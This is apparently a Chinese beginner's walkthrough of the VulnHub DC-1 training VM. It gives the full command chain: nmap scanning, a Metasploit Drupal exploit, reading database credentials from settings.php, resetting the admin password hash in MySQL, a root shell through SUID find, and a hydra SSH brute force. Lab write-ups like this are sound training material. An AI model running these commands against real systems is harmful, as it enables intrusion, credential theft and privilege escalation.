第一次接触渗透测试的综合靶场,总体感觉来说体验还不错,这可以提升我们实战的能力
我是根据其他博主的流程慢慢的来的,想着记录一下,方便自己回顾[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)_vulnhub靶场-CSDN博客
废话不多说,我就把自己的解题记录给大家看
1.靶场下载地址
下载完后是这样的
2.启动靶场环境
我们只需打开虚拟机--->文件--->打开--->将你下载的文件导入--->成功之后显示如下页面
3.配置靶场网络环境
设置靶场网络的连接模式为NAT模式----如下图
4.渗透靶场
(1)信息收集
我们开始搭建时,不知道靶机的真实ip,我们进行渗透时,kali攻击机和靶机ip地址必须处于一个网段ip。所以我们可以知道靶机的ip网段,这里我要说明一下:每个kali机器的ip地址是不一样的,所以每个靶机所处网段也不一样。
因为我的攻击机(kali)地址为192.168.109.131,所以靶机处于192.168.109.0/24这个网段里
进行namp扫描-----大家需要了解namp的简单用法,网上可以找
nmap -sP 192.168.109.0/24
经过分析可以得知:靶机的ip地址为:192.168.109.132
接下来对靶场ip地址进行详细扫描
nmap -A -p- -v 192.168.109.132
根据上面信息可以得到:
发现开放了22端口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务
(2)访问站点
在kali中的火狐浏览器上访问靶机地址,发现是Drupal站点,我们只需查找相应的漏洞,然后进行利用就ok了
(3)使用MSF渗透
查看Drupal 7可利用的漏洞:searchsploit Drupa 7
进入msf控制台:msfconsole
搜索drupal中存在的漏洞:search drupal
使用最新的漏洞版本2018年的:use 1 //表示使用相对应的漏洞
我们可以用:show options(查看上面模块选项),我们需要设置相应的payload : set rhosts 192.168.109.132 //表示设置攻击机为192.168.109.132,其他的根据要求来设置,这里我们只需要设置rhosts
设置完成之后,我们就可以进行运行啦
(4)查看权限及信息
shell //进入shell
whoami //查看id信息
(5)使用python反弹一个shell交互式
python -c 'import pty;pty.spawn("/bin/bash");'
交互界面自动出现在 /var/www/ 此文件夹中
(6)发现flag1
下面用ls列出在 /var/www/ 文件下的所有文件,发现了flag1.txt,当我们执行cat flag1.txt时,发现Every good CMS needs a config file - and so do you.
我们接着在网上查找Drupal的默认配置文件:/var/www/sites/default/settings.php
(7)发现flag2
进入默认文件中,我们可以发现flag2,以及数据库的账号和密码
我们根据flag2的提示得:暴力破解和字典攻击并不是获得访问权限的唯一方式(而且你肯定需要访问权限)。使用这些凭据,你能做什么?
(8)登录此数据库
mysql -udbuser -pR0ck3t
查看所有数据库:show databases;
使用某一数据库:use drupaldb
查看所有表:show tables;
查找users表下的字段信息:select * from users; //发现了admin的信息
(9)修改管理员密码
修改drupal管理员密码 :分享:忘记Drupal的管理员密码的解决办法 | Drupal China
先退出数据库界面:quit;
站点下修改密码:php scripts/password-hash.sh 新密码
然后进入数据库:mysql -u dbuser -p
接着修改admin的密码: update users set pass="$S$DW/j0Hhhx6pIBV4ZkoBp3mv/5l8reTwEBdpgzB/x8awTYUfFkd2k" where name="admin";
(10)登录站点
登录账号:admin
登录密码:111111(自己修改的密码)
(11)发现flag3
登录站点成功之后,翻到content的页面就出现啦!
接着我们点击flag3,找到提示语句:特殊的PERMS将有助于找到密码 - 但你需要执行该命令来弄清楚如何获取shadow中的内容。
(12)使用命令find查看 suid 权限的可执行二进制程序
find / -perm -4000 2>/dev/null
(13)使用命令测试,发现为root权限
touch 666 //这里需要大家知道命令测试权限的方法,网上可以找
ls
find / -name 666 -exec "whoami" \;
(14)找到root权限下的flag文件
切换语句进入shell: find / -name 666 -exec "/bin/sh" \;
查看权限: whoami
进入root中:cd /root
列出文件: ls
获取文件: cat thefinalflag.txt
出现提示语句:
做得好!希望你喜欢这次旅程并学到了一些新技能。
你可以通过Twitter联系我,分享你对这次小旅程的想法 - @DCAU7。
(15)发现flag4
此时我们查看 /etc/passwd 文件,发现存在 flag4 用户,我们也可以使用 hydra 进行爆破
cat /etc/passwd: 发现flag4
hydra -l flag4 -P /root/Desktop/pass.txt ssh://192.168.109.132 :爆破出flag4的信息
但是呢,我这个没有爆破成功,爆破出的密码应该就是orange
然后我就直接提权了:ssh flag4@192.168.109.132 //SSH连接登录,拿到flag4权限
这样就完成啦!我是按照这篇博客完成的,大家如果看不懂的话可以去看他的[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-1 通关详解 (附靶机搭建教程)_vulnhub靶场-CSDN博客
总体来说,发现自己还有许多知识点不会的,暂时还没有涉及到,今后会多加练习,如果上面有上面不对的,望提出,见谅啦!